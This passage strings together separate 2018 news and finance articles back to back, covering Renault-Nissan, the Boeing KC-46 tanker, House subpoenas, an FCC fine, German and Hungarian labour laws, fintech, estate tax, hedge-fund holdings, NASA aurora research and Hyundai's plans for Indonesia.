exchanges with some Renault and Nissan executives, including Mr Saikawa, Mr Bollore and Ms Sepehri," it said. Nissan, which is pressing Renault for a joint investigation of alliance finances, also wants to re-examine a recent decision to create a new alliance foundation in Switzerland. In a Sept. 26 resolution seen by Reuters, the Renault-Nissan board signed off on a 30 million-euro ($34 million) transfer to the organization, documents show. The transfer was approved by 10 alliance executives including Ghosn, Bollore, Sepehri and Saikawa. But it was canceled after Ghosn's Nov. 19 arrest in Japan, before the cash was moved, two sources said. (Reporting by Laurence Frost and Ritsuko Ando; Additional reporting by Mike Spector in New York, Gilles Guillaume in Paris, Naomi Tajitsu and Maki Shiraki in Tokyo, Tom Bergin in London; Editing by Mike Collett-White and Amy Stevens) By Mike Stone WASHINGTON (Reuters) - The U.S. Air Force will take its first delivery this month of the long-delayed KC-46 aerial refueling tanker made by Boeing Co , people familiar with the process said. Final paperwork has been moving through the Pentagon's chain of command in recent days, signaling that government concerns about the problem-plagued jet have been addressed after a multi-year delay, the people said. The delays and fixes for the program has been costly for Boeing, which recorded $176 million in additional charges on the KC-46 tanker in the third quarter alone. This brought the total pre-tax cost of the program to more than $3 billion. Delivery means Boeing could now begin to reverse what has been a steady stream of financial losses related to the KC-46 program, and a major public relations headache for the world's largest aircraft maker. The acceptance will be final when Defense Secretary Jim Mattis signs off on the delivery. The Air Force currently plans to buy a total of 179 of the tankers, and could receive them at a pace of about three jets per month to McConnell Air Force base in Kansas. In September, Boeing said the KC-46 completed the U.S. Federal Aviation Administration certification, nearly three years after the planemaker commenced testing for the certification. Boeing landed the $49 billion contract in 2011 to build the tankers based on 767 commercial jets. "The KC-46 is a top priority for the Boeing Company, and we have the best of Boeing working to ensure the U.S. Air Force gets their tankers as quickly as possible," Boeing said. An Air Force spokeswoman said "We are working with Boeing to resolve deficiencies and move towards acceptance and delivery." Problems with the jet, which refuels other aircraft mid-air, revolved around the mechanism for delivering fuel and the operation of that device, known as a "boom". Those issues have been mitigated in the eyes of the Air Force, the people said. Boeing previously missed a forecast that the aircraft would be delivered last year, as the planemaker was trying to get airworthiness certifications and complete a flight test program. (Reporting by Mike Stone; Editing by Alistair Bell) (Reuters) - When the Democrats take over the U.S. House of Representatives in January, they are expected to launch investigations of Donald Trump, his businesses, his family and his presidency, according to senior lawmakers and aides. In choosing targets for inquiry in 2019-20, senior party leaders will be guided, in part, by 64 subpoena requests made by House Oversight Committee Democrats in 2016-18 that were blocked by Republicans then in power in the House. Here is a partial summary of the 64 blocked subpoenas and the areas of interest they targeted. TRUMP CONFLICTS OF INTEREST. Seeking documents from the Trump Organization about a pledge to donate to the U.S. Treasury any payments Trump's business got from foreign governments. RUSSIAN ELECTION MEDDLING. Demanding information about Russian interference in the 2016 U.S. presidential election and any possible collusion between Moscow and the Trump campaign. KUSHNER PRIVATE EMAILS. Seeking documents on alleged use of private emails for official government business by Trump's son-in-law and White House adviser Jared Kushner and others. KUSHNER CONFLICTS OF INTEREST. Trying to force testimony by Kushner on his businesses and debts, his White House role and foreign countries' and large banks' involvement with him. IMMIGRANT FAMILY SEPARATIONS. Seeking documents on the status of children forcibly separated from their parents under a Trump policy announced in April 2018. CENSUS CITIZENSHIP QUESTION. Seeking testimony by Commerce Secretary Wilbur Ross on his effort to include a question about citizenship in the 2020 U.S. census. SECURITY CLEARANCES. Requests for information about White House security clearances, the revoking of former CIA Director John Brennan's clearance and the granting of a clearance to national security adviser John Bolton. MEDICAID WORK REQUIREMENTS. Requesting documents and analyses on the impact on poor Americans of new work requirements under the Medicaid program in some states. OBAMACARE WEBSITE SCRUB. Seeking answers about the removal from the Medicare.gov website of information about the Affordable Care Act, known widely as Obamacare. OBAMACARE LEGAL STATUS. Seeking documents from the Justice Department on its position that parts of Obamacare are unconstitutional and its refusal to defend them in court. HURRICANE RESPONSE. Seeking documents on the Trump administration's handling of hurricane disasters in Puerto Rico and the U.S. Virgin Islands. (Reporting by Kevin Drawbaugh in Washington; Editing by Jonathan Oatis) By David Shepardson WASHINGTON (Reuters) - Swarm Technologies Inc will pay a $900,000 fine for launching and operating four small experimental communications satellites that risked "satellite collisions" and threatened "critical commercial and government satellite operations," the Federal Communications Commission said on Thursday. The California-based start-up founded by former Google and Apple engineers in 2016 also agreed to enhanced FCC oversight and a requirement of pre-launch notices to the FCC for three years. Swarm launched the satellites in India last January after the FCC rejected its application to deploy and operate them, citing concerns about the company's tracking ability. It said Swarm had unlawfully transmitted signals between earth stations in the state of Georgia and the satellites for over a week. The investigation also found that Swarm performed unauthorized weather balloon-to-ground station tests and other unauthorized equipment tests prior to the satellites' launch. Swarm aims to provide low-cost space-based internet service and plans eventually to use a constellation of 100 satellites. Swarm won permission in August from the FCC to reactivate the satellites and said then it is "fully committed to complying with all regulations and has been working closely with the FCC," noting that its satellites are "100 percent trackable." Swarm co-founder and Chief Executive Officer Sara Spangelo said in a statement on Thursday that the company accepts the FCC decision "and appreciates the FCC's ongoing support for Swarm's mission." Earlier this month, SpaceX launched three more satellites for Swarm on a Falcon 9 rocket after winning FCC approval. FCC Commissioner Mike O'Rielly said the size of the penalty "is probably not significant enough to deter future behavior, but the negative press coverage is likely to prevent this company and others from attempting to do this again." O'Rielly said an initial fine negotiated by FCC staff was rejected by some commissioners, which led to reopening settlement talks. (Reporting by David Shepardson; Editing by Dan Grebler) Berlin (AFP) - Worker-starved Germany decided Wednesday to ease immigration rules to attract foreign job-seekers and replenish its ageing workforce, despite mounting public resistance against new arrivals. Chancellor Angela Merkel's cabinet approved a new immigration law which still has to be formally approved by parliament next year, possibly with some amendments. Economy Minister Peter Altmaier hailed as a "historic day" the cabinet's decision on Germany's first immigration law, which had been eagerly anticipated by business groups. The new law aims to attract foreign skilled vocational workers with German language skills, including those from outside the European Union, and promises them eased visa procedures and reduced red tape. "We need manpower from third countries to safeguard our prosperity and be able to fill the job vacancies," said Interior Minister Horst Seehofer. Job-seekers such as cooks, metallurgy workers or IT technicians would be allowed to come to the EU's biggest economy for six months to try and find employment, provided they can financially support themselves. A separate provision, which sparked much controversy, will allow permanent residency for some of the rejected asylum seekers in Germany who have been granted stays of deportation because their home country is considered unsafe. To qualify, they must have held a full-time job for 18 months, speak at least intermediate-level German, be socially well-integrated with no criminal offences, and be able to prove their identity. "We must not deport the wrong people," said Labour Minister Hubertus Heil, who stressed that many of the recent arrivals now "speak German, work, are industrious and are useful for Germany". - 'Pragmatic solution' - Nonetheless, the provision for asylum seekers had been criticised for potentially sending the wrong signal and encouraging human traffickers to bring illegal migrants to Germany on the promise they will eventually be allowed to stay. Story continues Immigration has been a hot-button political issue since Germany has absorbed more than one million mostly Muslim refugees and migrants from 2015. The large influx sparked a xenophobic backlash that saw the far-right, anti-immigration and anti-Islam Alternative for Germany (AfD) enter parliament a year ago as the biggest opposition party. But Germany has also been anxious not to leave thousands of migrants idle and susceptible to taking on jobs on the black labour market while they spend years awaiting a final decision on their asylum claims. The ministers stressed that the new rules aim to find a "pragmatic solution" for rejected asylum seekers who cannot be sent back because, for instance, they face the risk of torture in their country of origin. Sounding an optimistic note, the head of the Confederation of German Employers' Associations, Ingo Kramer, last week said that, of those who arrived since 2015, "more than 400,000 are in employment or training... even I am surprised at how quickly it's progressing". With unemployment at 5.0 percent, a record low since Germany's 1990 reunification, companies in Europe's most populous economy have long complained that a chronic shortage of workers is threatening growth. In the areas of mathematics, computing, natural sciences and technology, a record 338,200 jobs went unfilled in September, according to data from the Cologne-based German Economic Institute. Altmaier said the new rules will especially help Germany's small-and-medium-sized companies "which in the past have suffered as they are in competition with big companies that have poached the well-trained people". To attract qualified professionals from abroad, the German government has opened the information website make-it-in-germany.com. The banking industry is booming thanks to the growing demand for fintech services driven by a strong shift in the consumer preference. However, banks are coming under increasing threat from aggressive efforts of tech giants such as Alphabets GOOGL Google, Facebook FB and Amazon AMZN. This phenomenon was recently supported by Britains financial watchdog as well. Technology at Play Increasing Internet and smartphone user penetration globally holds the potential to bring about a tectonic change in banking sector. Tech giants are rapidly penetrating the banking space capitalizing on the increasing dependence of financial institutions on new technologies. In fact, Internet of Things (IoT) and data analytics technologies have witnessed rapid adoption in the sector driven by collection and analysis of massive customers banking data. Further, rising concerns regarding data privacy and security among the people are compelling the banks and financial institutions to adopt cloud services, resulting in increased migration of their workloads on cloud infrastructure. On the back of this heavy dependence, the following tech companies are well poised to disrupt the banking sector. Googles Aggressive Stance: Driven by its improving artificial intelligence (AI) and machine learning (ML) techniques, the company is strengthening its footprint in banking sector. Alphabets digital wallet service called Google Pay is gaining traction among the customers due to the peer-to-peer money transfer facility. Further, the service enables the users to transfer money directly to the bank account, which in turn prevents wastage of time by eliminating the need to deposit money physically. Googles growing global footprint is a major positive. The company recently teamed up with four banks of India namely Kotak Mahindra Bank, HDFC Bank, ICICI Bank and Federal Bank in order to introduce digital lending service in India. With the new partnership, Google is aiming at granting instant and pre-approved customer loans via Google Pay. All these endeavors are testimony to the search giants robust efforts to revolutionize the traditional banking sector by facilitating all the necessary services in a smartphone. Alphabet currently has a Zacks Rank #3 (Hold). You can see the complete list of todays Zacks #1 Rank (Strong Buy) stocks here. Story continues Alphabet Inc. Revenue (TTM) Alphabet Inc. Revenue (TTM) | Alphabet Inc. Quote Amazon and Facebooks Efforts: Both these companies are also aggressively eyeing the commercial banking space with an aim to leverage their vast customer data stored on their platforms. The e-commerce giant which carries a Zacks Rank #3 is pursuing a deal with J.P. Morgan Chase in order to create a checking account. This will enable the company to foray into the online banking services space. Further, it introduced a digital financial advisor called Cora by utilizing its augmented reality (AR)/virtual reality (VR) techniques. Additionally, with the ability to aid customers in paying bills and track transactions, virtual assistants are rapidly gaining popularity in the financial services space. Growing adoption of Alexa by financial institutions are aiding growth of Amazon in this particular space. Amazon.com, Inc. Revenue (TTM) Amazon.com, Inc. Revenue (TTM) | Amazon.com, Inc. Quote Meanwhile, Facebook is looking into ways to provide financial information to its users. Reportedly, the social giant, carrying a Zacks Rank #3, is in talks with JPMorgan Chase, Wells Fargo, Citigroup and U.S. Bancorp to share the information related to checking account and card transaction details of their customers. Further, the company recently rolled out WhatsApp Payments in India. Notably, the service is UPI-based which offers peer-to-peer payment service to its users. We believe, the growing momentum of WhatsApp will continue to act as a tailwind for Facebook in the digital payment sector. Facebook, Inc. Revenue (TTM) Facebook, Inc. Revenue (TTM) | Facebook, Inc. Quote Digital Payment Space Holds Promise The online payment services are changing the landscape as they help people in making payments just by a click on their smartphones. According to a report from Statista, the total transaction value in the digital payment market is anticipated to reach $3.3 trillion in 2018 and likely to witness a CAGR of 13.5% between 2018 and 2022. Further, it is expected to reach $5.4 trillion by 2022. PayPal PYPL and Square SQ continue to be the dominant players in this particular space driven by their robust product portfolio. PayPals strategic partnerships remain its key growth driver. Recently, the company announced the partnership with Itau Unibanco Holding SA. This will enable PayPal to gain traction among the banks customers by offering them services. Further, this Zacks Rank #2 (Buy) stock extended its partnership with American Express to allow the U.S. American Express Card members access reward points for purchases at millions of PayPal merchants online. PayPal Holdings, Inc. Revenue (TTM) PayPal Holdings, Inc. Revenue (TTM) | PayPal Holdings, Inc. Quote Meanwhile, improving business loan processing via Square Capital remains a tailwind for Square. Additionally, this Zacks Rank #3 stock has made a second attempt to disrupt the banking sector by re-applying for industrial loan company charter with Federal Deposit Insurance. Square, Inc. Revenue (TTM) Square, Inc. Revenue (TTM) | Square, Inc. Quote In addition to the stocks discussed above, would you like to know about our 10 top tickers to buy and hold for the entirety of 2019? These 10 are painstakingly handpicked from over 4,000 companies covered by the Zacks Rank. They are our primary picks poised to outperform in the year ahead. Be among the first to see the new Zacks Top 10 Stocks >> Want the latest recommendations from Zacks Investment Research? Today, you can download 7 Best Stocks for the Next 30 Days. Click to get this free report Amazon.com, Inc. (AMZN) : Free Stock Analysis Report Facebook, Inc. (FB) : Free Stock Analysis Report Alphabet Inc. (GOOGL) : Free Stock Analysis Report PayPal Holdings, Inc. (PYPL) : Free Stock Analysis Report Square, Inc. (SQ) : Free Stock Analysis Report To read this article on Zacks.com click here. Zacks Investment Research Khokana, Bungamati locals protest against governments move to demolish historical settlements Residents of Khokana and Bungamati, traditional Newar settlements in Lalitpur district, staged a demonstration at Maitighar Mandala in the Capital on Thursday protesting against the governments move to take ahead the development project by demolishing their settlements that have cultural and religious importance. Bissau (AFP) - Guinea-Bissau will hold legislative elections in March -- four months after a vote was originally scheduled -- in an attempt to defuse a long-running crisis, the presidency said Thursday. The former Portuguese colony, one of the world's poorest countries, has been locked in a political standoff since President Jose Mario Vaz sacked his premier in 2015. A presidential decree said Thursday the election will be held on March 10, 2019, after it was delayed from November 18. Under a deal brokered by Western African regional bloc ECOWAS in April, a consensus prime minister Aristide Gomes was named with the task of steering the country to a vote. But the ballot was delayed by difficulties in drawing up an electoral list. The UN and African neighbours have been urging Guinea-Bissau to hold the vote. The UN special representative for West Africa last month pressed the government to finally set an election date. New Hampshire Estate Tax New Hampshire has no estate tax. The federal estate tax may apply to residents of the state, though, if their estates are worth enough. This guide is for Granite Staters who are looking for the information they need to work through estate tax issues as they plan their estates and make sure everything is easy for their families after their deaths. One of the best steps to take in planning your estate is hiring a financial advisor to help you work through any problems. SmartAsset can help you find an advisor with our free financial advisor matching service. New Hampshire Estate Tax New Hampshire does not levy an estate tax. A total of 38 states have no estate tax. What Is the Estate Tax? Governments levy estate tax on the estates of people who have recently died, before the money and assets are dispersed to a persons heirs. The estate tax is sometimes called the death tax. The tax only applies to estates with money and assets exceeding a certain threshold, which is legally determined by the entity levying the tax. The estate tax is not the same as the inheritance tax. The inheritance tax applies to assets that are already passed on to a persons heirs, who are responsible for paying the tax on their inheritance. New Hampshire Inheritance and Gift Tax New Hampshire Estate Tax New Hampshire also has no inheritance tax. There is a chance, though, that you will owe inheritance tax in another state if someone living there leaves you an inheritance. Kentuckys inheritance tax, for instance, applies to all in-state property. This is true even if the inheritor of that property lives in another state that does not have an inheritance tax. If someone out-of-state leaves you an inheritance, check local laws. This could save you the hassle of dealing with a missed tax bill. New Hampshire also has no gift tax. The federal gift tax exemption is $15,000 per year for each gift recipient. If you give one person more than $15,000 in a year, youll have to file the gift with the government. The excess counts against your $11.18 million lifetime gift tax exemption, and it lowers your federal estate tax exemption. Story continues Federal Estate Tax New Hampshire does not charge an estate tax, but the federal government does. The federal estate tax may apply to you if your estate is valuable enough. The federal exemption is $11.18 million for 2018. The 2017 tax bill established that number, which will further increase in 2019 to $11.40 million. The federal estate tax exemption is portable, meaning married couples can use both of their exemptions on their estate when the second spouse dies. This makes it possible for a married couple to protect up to $22.36 million when both spouses die. Any estate worth more than the exemption is taxed according a series of ascending rates, topping out at 40%. This is how it works: Lets consider an estate worth $15.18 million, where the person who has died was not married. Subtract the exemption and you are left with a taxable estate of $4 million. This estate is in the top tax bracket, and there is a $345,800 base payment on the first $1 million. Youll owe 40% tax on the remaining $3 million, which comes to $1.20 million. Add in the base payment and the total tax bill on this estate is $1,545,800. FEDERAL ESTATE TAX RATES Taxable Estate* Base Taxes Paid Marginal Rate Rate Threshold** $1 $10,000 $0 18% $1 $10,000 $20,000 $1,800 20% $10,000 $20,000 $40,000 $3,800 22% $20,000 $40,000 $60,000 $8,200 24% $40,000 $60,000 $80,000 $13,000 26% $60,000 $80,000 $100,000 $18,200 28% $80,000 $100,000 $150,000 $23,800 30% $100,000 $150,000 $250,000 $38,800 32% $150,000 $250,000 $500,000 $70,800 34% $250,000 $500,000 $750,000 $155,800 37% $500,000 $750,000 $1 million $248,300 39% $750,000 Over $1 million $345,800 40% $1 million *The taxable estate is the total above the federal exemption of $11.18 million. **The rate threshold is the point at which the marginal estate tax rate kicks in. Overall New Hampshire Tax Picture New Hampshire Estate Tax New Hampshire is tax-friendly for retirees. The state does not tax Social Security income. It also does not tax withdrawals from retirement accounts like 401(k) plans or income from public or private pensions. In fact, New Hampshire has no state income tax whatsoever. That means the state wont charge tax on any money you make from a post-retirement job either. New Hampshire does have high property taxes, though. The average effective rate is 2.19%. There is a rebate, however, for anyone who earns less than $20,000 in annual income ($40,000 for married couples). A complicated formula determines the amount of the rebate, which could cover the entire tax. New Hampshire also has no sales tax, though it has a sin tax for items like alcohol and tobacco. Estate Planning Tips Planning an estate takes a certain amount of time, energy and attention to detail. It might make sense to find someone to do it for you. Find an advisor to help with SmartAssets free financial advisor matching service. You answer a few questions about your finances and we match you with up to three advisors in your area, all fully vetted and free of disclosures. After interviewing each advisor, you make a decision about how you want to proceed. There are some serious risks to DIY estate planning. Find an advisor or a lawyer to help unless you are very confident in your financial skills and attention to detail. Photo credit: iStock.com/Lady-Photo, iStock.com/kupicoo The post New Hampshire Estate Tax appeared first on SmartAsset Blog. Related Articles: Looking for stocks with high upside potential? Just follow the big players within the hedge fund industry. Why should you do so? Lets take a brief look at what statistics have to say about hedge funds stock picking abilities to illustrate. The Standard and Poors 500 Index returned approximately 5.7% in the 12 months ending October 26 (including dividend payments). Conversely, hedge funds 30 preferred S&P 500 stocks (as of June 2014) generated a return of 15.1% during the same 12-month period, with 53% of these stock picks outperforming the broader market benchmark. Coincidence? It might happen to be so, but it is unlikely. Our research covering the last 18 years indicates that hedge funds' stock picks generate superior risk-adjusted returns. That's why we believe it is wise to check hedge fund activity before you invest your time or your savings on a stock like Franco-Nevada Corporation (NYSE:FNV). Franco-Nevada Corporation (NYSE:FNV) has experienced an increase in hedge fund interest lately. Our calculations also showed that FNV isn't among the 30 most popular stocks among hedge funds. If you'd ask most shareholders, hedge funds are perceived as underperforming, outdated financial vehicles of years past. While there are over 8,000 funds trading today, Our researchers hone in on the masters of this group, about 700 funds. These money managers shepherd the majority of all hedge funds' total asset base, and by shadowing their inimitable equity investments, Insider Monkey has unearthed a number of investment strategies that have historically beaten the S&P 500 index. Insider Monkey's flagship hedge fund strategy outpaced the S&P 500 index by 6 percentage points annually since its inception in May 2014 through early November 2018. We were able to generate large returns even by identifying short candidates. Our portfolio of short stocks lost 24% since February 2017 (through December 3rd) even though the market was up nearly 23% during the same period. We just shared a list of 11 short targets in our latest quarterly update. Story continues [caption id="attachment_30621" align="aligncenter" width="487"] AQR CAPITAL MANAGEMENT Cliff Asness of AQR Capital Management[/caption] Let's view the recent hedge fund action surrounding Franco-Nevada Corporation (NYSE:FNV). Hedge fund activity in Franco-Nevada Corporation (NYSE:FNV) At the end of the third quarter, a total of 16 of the hedge funds tracked by Insider Monkey held long positions in this stock, a change of 7% from the previous quarter. Below, you can check out the change in hedge fund sentiment towards FNV over the last 13 quarters. With the smart money's sentiment swirling, there exists a select group of noteworthy hedge fund managers who were increasing their holdings considerably (or already accumulated large positions). FNV_dec2018 More specifically, Renaissance Technologies was the largest shareholder of Franco-Nevada Corporation (NYSE:FNV), with a stake worth $178 million reported as of the end of September. Trailing Renaissance Technologies was AQR Capital Management, which amassed a stake valued at $64.3 million. Horizon Asset Management, Royce & Associates, and GLG Partners were also very fond of the stock, giving the stock large weights in their portfolios. As industrywide interest jumped, key hedge funds were breaking ground themselves. PEAK6 Capital Management, managed by Matthew Hulsizer, initiated the most outsized position in Franco-Nevada Corporation (NYSE:FNV). PEAK6 Capital Management had $8.8 million invested in the company at the end of the quarter. Brad Dunkley and Blair Levinsky's Waratah Capital Advisors also initiated a $0.9 million position during the quarter. Let's also examine hedge fund activity in other stocks similar to Franco-Nevada Corporation (NYSE:FNV). These stocks are Kansas City Southern (NYSE:KSU), IDEX Corporation (NYSE:IEX), Braskem SA (NYSE:BAK), and Martin Marietta Materials, Inc. (NYSE:MLM). This group of stocks' market caps are closest to FNV's market cap. [table] Ticker, No of HFs with positions, Total Value of HF Positions (x1000), Change in HF Position KSU,24,363531,-2 IEX,23,357504,5 BAK,13,401115,-4 MLM,33,1484382,0 Average,23.25,651633,-0.25 [/table] View table here if you experience formatting issues. As you can see these stocks had an average of 23.25 hedge funds with bullish positions and the average amount invested in these stocks was $652 million. That figure was $366 million in FNV's case. Martin Marietta Materials, Inc. (NYSE:MLM) is the most popular stock in this table. On the other hand Braskem SA (NYSE:BAK) is the least popular one with only 13 bullish hedge fund positions. Franco-Nevada Corporation (NYSE:FNV) is not the least popular stock in this group but hedge fund interest is still below average. This is a slightly negative signal and we'd rather spend our time researching stocks that hedge funds are piling on. In this regard MLM might be a better candidate to consider a long position. Disclosure: None. This article was originally published at Insider Monkey. Related Content Billionaire hedge fund managers such as Steve Cohen and Stan Druckenmiller can generate millions or even billions of dollars every year by pinning down high-potential small-cap stocks and pouring cash into these candidates. Small-cap stocks are overlooked by most investors, brokerage houses, and financial services hubs, while the unlimited research abilities of the big players within the hedge fund industry can easily identify the undervalued and high-potential stocks that reside the ignored corners of equity markets. There are numerous small-cap stocks that have turned out to be great winners, which is one of the main reasons the Insider Monkey team pays close attention to the hedge fund activity in relation to these stocks. PetroChina Company Limited (NYSE:PTR) shares haven't seen a lot of action during the third quarter. Overall, hedge fund sentiment was unchanged. The stock was in 14 hedge funds' portfolios at the end of the third quarter of 2018. At the end of this article, we will also compare PTR to other stocks including Unilever plc (NYSE:UL), Unilever N.V. (NYSE:UN), and DowDuPont Inc. (NYSE:DWDP) to get a better sense of its popularity. Why do we pay any attention at all to hedge fund sentiment? Our research has shown that hedge funds' large-cap stock picks indeed failed to beat the market between 1999 and 2016. However, we were able to identify in advance a select group of hedge fund holdings that outperformed the market by 18 percentage points since May 2014 through December 3, 2018 (see the details here). We were also able to identify in advance a select group of hedge fund holdings that'll significantly underperform the market. We have been tracking and sharing the list of these stocks since February 2017 and they lost 24% through December 3, 2018. That's why we believe hedge fund sentiment is an extremely useful indicator that investors should pay attention to. [caption id="attachment_30621" align="aligncenter" width="487"] Story continues AQR CAPITAL MANAGEMENT Cliff Asness of AQR Capital Management[/caption] We're going to review the recent hedge fund action encompassing PetroChina Company Limited (NYSE:PTR). Hedge fund activity in PetroChina Company Limited (NYSE:PTR) At Q3's end, a total of 14 of the hedge funds tracked by Insider Monkey were bullish on this stock, representing no change from the second quarter of 2018. By comparison, 10 hedge funds held shares or bullish call options in PTR heading into this year. With the smart money's positions undergoing their usual ebb and flow, there exists a few notable hedge fund managers who were boosting their stakes substantially (or already accumulated large positions). No of Hedge Funds with PTR Positions Among these funds, Renaissance Technologies held the most valuable stake in PetroChina Company Limited (NYSE:PTR), which was worth $71.7 million at the end of the third quarter. On the second spot was Arrowstreet Capital which amassed $57.2 million worth of shares. Moreover, AQR Capital Management, Millennium Management, and Point72 Asset Management were also bullish on PetroChina Company Limited (NYSE:PTR), allocating a large percentage of their portfolios to this stock. Judging by the fact that PetroChina Company Limited (NYSE:PTR) has faced declining sentiment from hedge fund managers, we can see that there is a sect of money managers that elected to cut their positions entirely last quarter. At the top of the heap, Ray Dalio's Bridgewater Associates sold off the largest investment of the 700 funds tracked by Insider Monkey, totaling close to $2.3 million in stock. Murray Stahl's fund, Horizon Asset Management, also said goodbye to its stock, about $0.3 million worth. These bearish behaviors are intriguing to say the least, as total hedge fund interest stayed the same (this is a bearish signal in our experience). Let's go over hedge fund activity in other stocks similar to PetroChina Company Limited (NYSE:PTR). We will take a look at Unilever plc (NYSE:UL), Unilever N.V. (NYSE:UN), DowDuPont Inc. (NYSE:DWDP), and AbbVie Inc (NYSE:ABBV). All of these stocks' market caps are similar to PTR's market cap. [table] Ticker, No of HFs with positions, Total Value of HF Positions (x1000), Change in HF Position UL,14,137235,1 UN,14,1117559,0 DWDP,69,4551261,-6 ABBV,40,3740625,-6 Average,34.25,2386670,-2.75 [/table] View table here if you experience formatting issues. As you can see these stocks had an average of 34.25 hedge funds with bullish positions and the average amount invested in these stocks was $2.39 billion. That figure was $170 million in PTR's case. DowDuPont Inc. (NYSE:DWDP) is the most popular stock in this table. On the other hand Unilever plc (NYSE:UL) is the least popular one with only 14 bullish hedge fund positions. Compared to these stocks PetroChina Company Limited (NYSE:PTR) is even less popular than UL. Considering that hedge funds aren't fond of this stock in relation to other companies analyzed in this article, it may be a good idea to analyze it in detail and understand why the smart money isn't behind this stock. This isn't necessarily bad news. Although it is possible that hedge funds may think the stock is overpriced and view the stock as a short candidate, they may not be very familiar with the bullish thesis. In either case more research is warranted. Disclosure: None. This article was originally published at Insider Monkey. Related Content Hundreds of tons of oxygen is escaping (NASA) Dont panic, but Earth is losing hundreds of tons of its atmosphere into space every single day with oxygen escaping in the energetic collisions of the Northern Lights. Scientists are now trying to understand these fountains of gas shooting out of Earths atmosphere in outflow events. Scienists fired two rockets loaded with cameras and instruments in an effort to understand how oxygen is lost during aurora on Earths day side. Researchers loaded cameras and instruments on a pair of sounding rockets. These small rockets can make targeted flights to space and then fall back to Eartha good way to map the oxygen outflow during a potentially short-lived aurora. The researchers staged the rockets in the town of Ny-Alesund, Svalbard (Norway), and waited for the aurora. MORE: Shocking CCTV shows panicked dog owner carrying pets after leaving them to die in roasting car MORE: Putting lives in jeopardy: These are the most ridiculous 999 calls made in 2018 A photo shot by Ahmed Ghalib of the VISIONS-2 payload team, shows the aurora in Ny-Alesund in late November 2018. Doug Rowland of NASAs Goddard Space Flight Center said, We had such an amazing experience building these very complex and capable payloads, integrating and testing them at Wallops, then bringing them to the field. The launch was a very emotional moment, even more so when we saw that all the instruments had performed well and the science conditions were good. Aurora (NASA) I believe we did see the atmospheric fountain, but we may have evidence of it from multiple perspectives. A better understanding of atmospheric losses on Earth could inform our understanding of other planets; that is, how some became desolate and which ones might be habitable. Until then, scientists can assure you that Earth wont soon run out of oxygen. Even at the current rates of loss, Earths atmosphere should stick around for billions of years. Watch the latest videos from Yahoo UK Budapest (AFP) - Hungarian President Janos Ader on Thursday signed into law a controversial labour reform dubbed a "slave law" by the opposition despite sweeping protests. The law hikes the amount of overtime that employers can demand from 250 to 400 hours per year and allows payment to be delayed by up to three years. "I studied the changes to the labour law, and its provisions do not run contrary to the constitution," Ader said. Thousands of people have demonstrated against Prime Minister Viktor Orban's government since MPs passed the law on 12 December, with police and protesters clashing outside parliament. Ader, an Orban ally, said the provisions were similar to laws governing overtime in other EU countries. "The safeguards that protect (workers') rights have not been weakened," he said. "For these reasons I have signed the law despite the concerns." Protesters had asked Ader not to enforce the reform and unions have threatened a general strike if he did so. The government says the law is needed to tackle Hungary's labour shortage and that it will enable those who wish to work more hours to earn more. The rallies have united a broad swathe of opposition parties against the government of the right-wing nationalist Orban, with another demonstration planned for Friday evening. The opposition reacted with fury, with the far-right Jobbik party calling Ader's decision "scandalous". Socialist MP Agnes Kunhalmi told AFP: "We're going to make our feelings clear tomorrow at the last big demonstration before the holidays -- and we will co-ordinate with the unions!" On Monday, several thousand people gathered to protest outside the offices of the public broadcaster MTVA, as opposition MPs entered the premises and demanded a list of protesters' demands be read out. The demonstrators have also voiced opposition to what they say is the government's increasing control over the media, the judiciary and large parts of the economy. The largest rally in the past week was on Sunday, when 15,000 people gathered in a demonstration that ended up outside parliament. JAKARTA (Reuters) - Hyundai Motor Co <005380.KS> plans to start producing electric vehicles (EVs) in Indonesia as part of an around $880 million auto investment in the country, Industry Deputy Minister Harjanto said on Thursday. The Korean company, which together with affiliate Kia Motors <000270.KS> is the world's No.5 automaker, plans to build a factory in Indonesia with a capacity of around 250,000 units, including for electric cars, Harjanto told Reuters. Indonesia has ample reserves of nickel laterite ore, a vital ingredient for the lithium-ion batteries used to power EVs. The minister noted the plan was to export 53 percent of the cars manufactured in the proposed Hyundai plant, mostly to Southeast Asia and Australia, while the remaining 47 percent would be for the domestic market. Hyundai's move to set up a plant in Indonesia comes at a time when the carmaker is trying to cut its reliance on China, its biggest market, where it and Kia are reeling from a weak recovery in sales after a diplomatic row between Seoul and Beijing and facing tough competition from local rivals. Reuters reported in August that Hyundai and Kia were considering shipping Chinese-made vehicles to Southeast Asia to address its weak sales and its excess capacity. Hyundai does not have a car making factory in Southeast Asia, although it has some pure assembly operations in Vietnam. A Hyundai spokeswoman said they "did not have immediate comments" about the company's Indonesia plans. Separately, Hyundai-Kia's think tank vice president Lee Bo Sung said on Thursday the ASEAN market has growth potential, but that it is difficult to "penetrate" as it is dominated by Japanese rivals such as Toyota <7203.T> and Honda <7267.T>. Last month, Hyundai announced an $250 million investment in Singapore's ride-hailing firm Grab and a plan to offer EVs to Grab drivers in Southeast Asia. (Reporting by Cindy Silviana and Fanny Potkin in Jakarta and Hyunjoo Jin in Seoul; Editing by Himani Sarkar) It is not uncommon to see companies perform well in the years after insiders buy shares. Unfortunately, there are also plenty of examples of share prices declining precipitously after insiders have sold shares. So shareholders might well want to know whether insiders have been buying or selling shares in Guyana Goldfields Inc. (TSE:GUY). What Is Insider Buying? Most investors know that it is quite permissible for company leaders, such as directors of the board, to buy and sell stock on the market. However, most countries require that the company discloses such transactions to the market. We would never suggest that investors should base their decisions solely on what the directors of a company have been doing. But it is perfectly logical to keep tabs on what insiders are doing. For example, a Harvard University study found that insider purchases earn abnormal returns of more than 6% per year. View our latest analysis for Guyana Goldfields Guyana Goldfields Insider Transactions Over The Last Year Over the last year, we can see that the biggest insider sale was by John Sheridan for CA$1.7m worth of shares, at about CA$4.91 per share. While the sale doesnt make us feel confident, we do note it was conducted at a price well above the current share price, which is CA$1.36. So it may not shed much light on insider confidence at current levels. Over the last year, we can see that insiders have bought 75.50k shares worth CA$286k. But they sold 843.95k for CA$3.7m. Over the last year we saw more insider selling of Guyana Goldfields shares, than buying. The average sell price was around US$4.42. Insider selling doesnt make us excited to buy. But we note that the selling, on average, was at well above the recently traded price of CA$1.36. You can see a visual depiction of insider transactions over the last 12 months, below. By clicking on the graph below, you can see the precise details of each insider transaction! Story continues TSX:GUY Insider Trading December 20th 18 For those who like to find winning investments this free list of growing companies with recent insider purchasing, could be just the ticket. Insiders at Guyana Goldfields Have Sold Stock Recently Over the last three months, weve seen significant insider selling at Guyana Goldfields. In total, John Sheridan dumped US$1.2m worth of shares in that time, and we didnt record any purchases whatsoever. In light of this its hard to argue that all the directors think that 